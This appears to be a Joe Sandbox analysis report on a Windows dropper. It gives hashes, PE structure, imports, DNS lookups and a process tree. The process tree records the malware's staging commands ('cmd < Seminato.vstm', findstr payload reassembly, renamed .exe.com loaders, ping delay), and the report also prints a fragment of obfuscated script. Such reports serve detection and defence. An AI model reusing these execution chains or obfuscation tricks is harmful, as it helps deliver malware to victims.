Preview:	..Func zsQzlxmFuQcHzpEjECX($TFjYd,$umipzZZ,$dLJus,$oCMsKSF,$ZVadMtOtS,$DOzy,$HeIzYhBVv,$hLrAGGN)..Local $kQejVvkTGCCieDtfwmGMnqWKnaLEkvPO = 'FNRqcnCwIgTryIAcsEgxxwlTsOCLHHlMOUbPhfGwtKQMrHaKkoTRBzSDCXIHVQxqtufkkKoeYhdKknQKcSAnOakxeTjdGYuhdPHWsimAqRTgroaruYjedVjLVUosbScZiezcQUahzZnWnXsUBppIM'...$AvqiIzfJvVob = 178..$EebXGMktXNLMmQ = 61..While ((7021-7020)*6462)..Switch $AvqiIzfJvVob..Case 175....$zeoBmgmbAjaJckOE = Execute(GKHRXxdEq("76_91_114_104_44_75_88_73_72_80_108_81_104_102_126_75_124_91_90_101_45",4))..$120 = 103..For $MqfarxXHPTlQSCRWgkqgvubMGbAzrtFbAxokCafIlUKcgGIKAMiZOfmGC = 8 To 21..Local $qPPSsXFJlUCIZGJ = 'FdZiCflsUaktvkXpmyLQtMjOIruCQXxfkDnkvVVKEbYYLBhYXaoTUSK'..Local $zeoBmgmbAjaJckOE = GKHRXxdEq("107_110_110_112_72_66_88",0)..Next....$AvqiIzfJvVob = $AvqiIzfJvVob + 1..Case 176....$TSMMMElwkGNheiQiF = Execute(GKHRXxdEq("74_89_112_102_42_101_84_114_84_68_78_82_111_102_103_123_80_112_89_86_85_72_104_43",2))..$97 = 87..For $OBxaTFikvvAXWwwQHxjlGEJTHryQpsIewrovAAZiFBiOAgJMkkm

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.983820693117877
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Tt843YGUx5.exe
File size:	9'326'758 bytes
MD5:	0d6bbe5907ca581fec7c452793aa1257
SHA1:	103b6e60ec864afc723f9fd0f8c29f91a0fcc4c7
SHA256:	a1734a3cebd107003588c3b860dd235827515439325aa5bd07dbe3e798cd2e48
SHA512:	3691b3b107f9abd4bbaee89905ab868eade9770db2451fd8ee2e0efaadcd88aef032b36e64029949f184c5646484d3b09fac6741dc5ee68717a5e8275148744a
SSDEEP:	196608:vAa0g6X40mv/pyNQcRqZ9v5nQb00k0C2onRjRkZ7P2dLehT4C:v6isNFkBQwjd2eRjM2KT4C
TLSH:	899623D72931A078CC46D9B4389C4A76D337EB84C28F33CA337056661C7A255AD68FDA
File Content Preview:	MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L......V............................?.............@..................................................................................0...u.................

File Icon


Icon Hash:	2b2b2b2bc469134e

Static PE Info

General

Entrypoint:	0x41883f
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:
Time Stamp:	0x56B8F009 [Mon Feb 8 19:44:09 2016 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	650ed02ca4b6baad6b24f20402b6268b

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
push FFFFFFFFh
push 0041C6A0h
push 004189D0h
mov eax, dword ptr fs:[00000000h]
push eax
mov dword ptr fs:[00000000h], esp
sub esp, 68h
push ebx
push esi
push edi
mov dword ptr [ebp-18h], esp
xor ebx, ebx
mov dword ptr [ebp-04h], ebx
push 00000002h
call dword ptr [0041A1E4h]
pop ecx
or dword ptr [00422A88h], FFFFFFFFh
or dword ptr [00422A8Ch], FFFFFFFFh
call dword ptr [0041A1E8h]
mov ecx, dword ptr [00420A74h]
mov dword ptr [eax], ecx
call dword ptr [0041A1ECh]
mov ecx, dword ptr [00420A70h]
mov dword ptr [eax], ecx
mov eax, dword ptr [0041A1F0h]
mov eax, dword ptr [eax]
mov dword ptr [00422A84h], eax
call 00007F7688C90062h
cmp dword ptr [0041E6A0h], ebx
jne 00007F7688C8FF4Eh
push 004189C8h
call dword ptr [0041A1F4h]
pop ecx
call 00007F7688C90034h
push 0041E068h
push 0041E064h
call 00007F7688C9001Fh
mov eax, dword ptr [00420A6Ch]
mov dword ptr [ebp-6Ch], eax
lea eax, dword ptr [ebp-6Ch]
push eax
push dword ptr [00420A68h]
lea eax, dword ptr [ebp-64h]
push eax
lea eax, dword ptr [ebp-70h]
push eax
lea eax, dword ptr [ebp-60h]
push eax
call dword ptr [0041A1FCh]
push 0041E060h
push 0041E000h
call 00007F7688C8FFECh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1cacc	0xc8	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x23000	0xc75a0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1a000	0x384	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x181aa	0x18200	b1409dd4b532861bfc867262e1487da9	False	0.5987694300518135	data	6.681336648046548	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x1a000	0x3d76	0x3e00	0241c5b58fde24391bd915d012102084	False	0.46213457661290325	DOS executable (COM, 0x8C-variant)	5.764905469559544	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x1e000	0x4a90	0x800	ec6e65fd2a2541d624ba3966eb98f291	False	0.4033203125	data	3.529989171404316	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x23000	0xc75a0	0xc7600	2470a75253077d2c139c46a214cf3465	False	0.7342451998432602	data	7.467674937095469	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x234a8	0x3714	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced	English	United States	0.8552482269503546
RT_ICON	0x26bbc	0x1b09	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9270336656552521
RT_ICON	0x286c8	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	English	United States	0.040133680350171536
RT_ICON	0x38ef0	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 38016	English	United States	0.05271179314694135
RT_ICON	0x42398	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 21600	English	United States	0.06682070240295748
RT_ICON	0x47820	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.060108644307982996
RT_ICON	0x4ba48	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.09190871369294606
RT_ICON	0x4dff0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.10717636022514071
RT_ICON	0x4f098	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.17991803278688526
RT_ICON	0x4fa20	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.2322695035460993
RT_STRING	0x4fe88	0x4a8	data	English	United States	0.3221476510067114
RT_STRING	0x50330	0x438	data	English	United States	0.3731481481481482
RT_STRING	0x50768	0x26	Matlab v4 mat-file (little endian) ., numeric, rows 0, columns 0	English	United States	0.5263157894736842
RT_STRING	0x50790	0xae	data	English	United States	0.6724137931034483
RT_STRING	0x50840	0x2f2	data	English	United States	0.35543766578249336
RT_STRING	0x50b34	0x3a	data	English	United States	0.6896551724137931
RT_STRING	0x50b70	0x192	data	English	United States	1.027363184079602
RT_STRING	0x50d04	0x3a8	data	English	United States	0.37393162393162394
RT_STRING	0x510ac	0x2ce	data	English	United States	0.42618384401114207
RT_RCDATA	0x5137c	0x98eca	data	English	United States	0.9082726404822647
RT_GROUP_ICON	0xea248	0x92	data	English	United States	0.7054794520547946
RT_MANIFEST	0xea2dc	0x2c3	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5035360678925035

Imports

DLL	Import
COMCTL32.dll
SHELL32.dll	SHGetSpecialFolderPathW, ShellExecuteW, SHGetMalloc, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, ShellExecuteExW
GDI32.dll	CreateCompatibleDC, CreateFontIndirectW, DeleteObject, DeleteDC, GetCurrentObject, StretchBlt, GetDeviceCaps, CreateCompatibleBitmap, SelectObject, SetStretchBltMode, GetObjectW
ADVAPI32.dll	FreeSid, AllocateAndInitializeSid, CheckTokenMembership
USER32.dll	CreateWindowExW, GetWindowLongW, GetMessageW, DispatchMessageW, KillTimer, ScreenToClient, CharUpperW, SendMessageW, EndDialog, wsprintfW, MessageBoxW, GetWindowRect, GetParent, CopyImage, ReleaseDC, GetWindowDC, SetWindowPos, DestroyWindow, GetClassNameA, wsprintfA, GetWindowTextW, GetWindowTextLengthW, SetWindowTextW, GetSysColor, MessageBoxA, GetKeyState, GetDlgItem, GetClientRect, SetWindowLongW, UnhookWindowsHookEx, SetFocus, GetSystemMetrics, SystemParametersInfoW, ShowWindow, DrawTextW, GetDC, ClientToScreen, GetWindow, DialogBoxIndirectParamW, DrawIconEx, CallWindowProcW, DefWindowProcW, CallNextHookEx, PtInRect, SetWindowsHookExW, LoadImageW, LoadIconW, MessageBeep, EnableWindow, IsWindow, EnableMenuItem, GetSystemMenu, CreateWindowExA, wvsprintfW, GetMenu, SetTimer
ole32.dll	CreateStreamOnHGlobal, CoCreateInstance, CoInitialize
OLEAUT32.dll	SysAllocStringLen, VariantClear, SysFreeString, OleLoadPicture, SysAllocString
KERNEL32.dll	SetFileTime, SetEndOfFile, GetFileInformationByHandle, VirtualFree, GetModuleHandleA, WaitForMultipleObjects, VirtualAlloc, ReadFile, SetFilePointer, GetFileSize, LeaveCriticalSection, EnterCriticalSection, DeleteCriticalSection, FormatMessageW, lstrcpyW, LocalFree, IsBadReadPtr, SuspendThread, TerminateThread, GetSystemDirectoryW, GetCurrentThreadId, InitializeCriticalSection, ResetEvent, SetEvent, CreateEventW, GetVersionExW, GetModuleFileNameW, GetCurrentProcess, SetProcessWorkingSetSize, SetCurrentDirectoryW, GetDriveTypeW, CreateFileW, SetEnvironmentVariableW, GetTempPathW, GetCommandLineW, GetStartupInfoW, CreateProcessW, CreateJobObjectW, ResumeThread, AssignProcessToJobObject, CreateIoCompletionPort, SetInformationJobObject, GetQueuedCompletionStatus, GetExitCodeProcess, CloseHandle, LoadLibraryA, SetThreadLocale, lstrlenW, GetSystemTimeAsFileTime, ExpandEnvironmentStringsW, CompareFileTime, WideCharToMultiByte, FindFirstFileW, lstrcmpW, DeleteFileW, FindNextFileW, FindClose, RemoveDirectoryW, GetEnvironmentVariableW, lstrcmpiW, GetLocaleInfoW, MultiByteToWideChar, GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetSystemDefaultLCID, lstrcmpiA, GlobalAlloc, GlobalFree, MulDiv, FindResourceExA, SizeofResource, LoadResource, LockResource, GetProcAddress, ExitProcess, lstrcatW, GetDiskFreeSpaceExW, SetFileAttributesW, SetLastError, Sleep, GetExitCodeThread, WaitForSingleObject, CreateThread, GetLastError, SystemTimeToFileTime, GetLocalTime, GetFileAttributesW, CreateDirectoryW, lstrlenA, WriteFile, GetStdHandle, GetModuleHandleW, GetStartupInfoA
MSVCRT.dll	_purecall, memcmp, ??2@YAPAXI@Z, memmove, memcpy, _wtol, strncpy, _controlfp, _except_handler3, __set_app_type, __p__fmode, __p__commode, _adjust_fdiv, __setusermatherr, _initterm, __getmainargs, _acmdln, exit, _XcptFilter, _exit, ??1type_info@@UAE@XZ, _onexit, __dllonexit, malloc, free, wcsstr, _CxxThrowException, wcscmp, _beginthreadex, _EH_prolog, ?_set_new_handler@@YAP6AHI@ZP6AHI@Z@Z, memset, _wcsnicmp, strncmp, wcsncmp, wcsncpy, ??3@YAXPAX@Z

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 9, 2025 07:59:07.476855993 CET	50944	53	192.168.2.4	1.1.1.1
Feb 9, 2025 07:59:07.487382889 CET	53	50944	1.1.1.1	192.168.2.4
Feb 9, 2025 07:59:07.555464029 CET	55789	53	192.168.2.4	1.1.1.1
Feb 9, 2025 07:59:07.564788103 CET	53	55789	1.1.1.1	192.168.2.4
Feb 9, 2025 07:59:09.391690016 CET	56722	53	192.168.2.4	1.1.1.1
Feb 9, 2025 07:59:09.400002956 CET	53	56722	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Feb 9, 2025 07:59:07.476855993 CET	192.168.2.4	1.1.1.1	0x6591	Standard query (0)	OEEMOUIIEJHDT.OEEMOUIIEJHDT	A (IP address)	IN (0x0001)	false
Feb 9, 2025 07:59:07.555464029 CET	192.168.2.4	1.1.1.1	0xe0b	Standard query (0)	NiXfPuxauHolCHyB.NiXfPuxauHolCHyB	A (IP address)	IN (0x0001)	false
Feb 9, 2025 07:59:09.391690016 CET	192.168.2.4	1.1.1.1	0x9d76	Standard query (0)	OreSqbuLLIH.OreSqbuLLIH	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Feb 9, 2025 07:59:07.487382889 CET	1.1.1.1	192.168.2.4	0x6591	Name error (3)	OEEMOUIIEJHDT.OEEMOUIIEJHDT	none	none	A (IP address)	IN (0x0001)	false
Feb 9, 2025 07:59:07.564788103 CET	1.1.1.1	192.168.2.4	0xe0b	Name error (3)	NiXfPuxauHolCHyB.NiXfPuxauHolCHyB	none	none	A (IP address)	IN (0x0001)	false
Feb 9, 2025 07:59:09.400002956 CET	1.1.1.1	192.168.2.4	0x9d76	Name error (3)	OreSqbuLLIH.OreSqbuLLIH	none	none	A (IP address)	IN (0x0001)	false

Target ID:	0
Start time:	01:59:04
Start date:	09/02/2025
Path:	C:\Users\user\Desktop\Tt843YGUx5.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Tt843YGUx5.exe"
Imagebase:	0x400000
File size:	9'326'758 bytes
MD5 hash:	0D6BBE5907CA581FEC7C452793AA1257
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	01:59:05
Start date:	09/02/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c cmd < Seminato.vstm
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	01:59:05
Start date:	09/02/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:59:05
Start date:	09/02/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:59:05
Start date:	09/02/2025
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /V /R "^jFsHerEbljXpXySesHEeeiaEbuspVTxTkpsgNBbkUmDsXXeCDHjpLUEthNpWLcCdRtXONEgPpaiDDqGArPGhHlidFhwqaBAmWhASZgPYzbqaMqAjuJSWPfJHXGpA$" Pure.vstm
Imagebase:	0x1a0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	01:59:05
Start date:	09/02/2025
Path:	C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com
Wow64 process (32bit):	true
Commandline:	Inebriarti.exe.com A
Imagebase:	0x760000
File size:	893'608 bytes
MD5 hash:	C56B5F0201A3B3DE53E561FE76912BFD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 3%, ReversingLabs
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	01:59:05
Start date:	09/02/2025
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /V /R "^jFsHerEbljXpXySesHEeeiaEbuspVTxTkpsgNBbkUmDsXXeCDHjpLUEthNpWLcCdRtXONEgPpaiDDqGArPGhHlidFhwqaBAmWhASZgPYzbqaMqAjuJSWPfJHXGpA$" Pure.vstm
Imagebase:	0x1a0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	01:59:05
Start date:	09/02/2025
Path:	C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com
Wow64 process (32bit):	true
Commandline:	Bonta.exe.com m
Imagebase:	0xa50000
File size:	893'608 bytes
MD5 hash:	C56B5F0201A3B3DE53E561FE76912BFD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 3%, ReversingLabs
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	01:59:05
Start date:	09/02/2025
Path:	C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com A
Imagebase:	0x760000
File size:	893'608 bytes
MD5 hash:	C56B5F0201A3B3DE53E561FE76912BFD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	01:59:05
Start date:	09/02/2025
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /V /R "^jFsHerEbljXpXySesHEeeiaEbuspVTxTkpsgNBbkUmDsXXeCDHjpLUEthNpWLcCdRtXONEgPpaiDDqGArPGhHlidFhwqaBAmWhASZgPYzbqaMqAjuJSWPfJHXGpA$" Pure.vstm
Imagebase:	0x1a0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	01:59:05
Start date:	09/02/2025
Path:	C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com m
Imagebase:	0xa50000
File size:	893'608 bytes
MD5 hash:	C56B5F0201A3B3DE53E561FE76912BFD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	01:59:06
Start date:	09/02/2025
Path:	C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com
Wow64 process (32bit):	true
Commandline:	Pensiero.exe.com E
Imagebase:	0x3d0000
File size:	893'608 bytes
MD5 hash:	C56B5F0201A3B3DE53E561FE76912BFD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 3%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	01:59:06
Start date:	09/02/2025
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1 -n 30
Imagebase:	0x670000
File size:	18'944 bytes
MD5 hash:	B3624DD758CCECF93A1226CEF252CA12
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	01:59:07
Start date:	09/02/2025
Path:	C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com E
Imagebase:	0x3d0000
File size:	893'608 bytes
MD5 hash:	C56B5F0201A3B3DE53E561FE76912BFD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Tt843YGUx5.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\A

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bel.vstm

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Conoscermi.vstm

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\E

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Forme.vstm

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Mio.vstm

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Nel.vstm

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pure.vstm

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Secondo.vstm

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Seminato.vstm

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\m

Static File Info

General

File Icon

Static PE Info

General

Windows Analysis Report
Tt843YGUx5.exe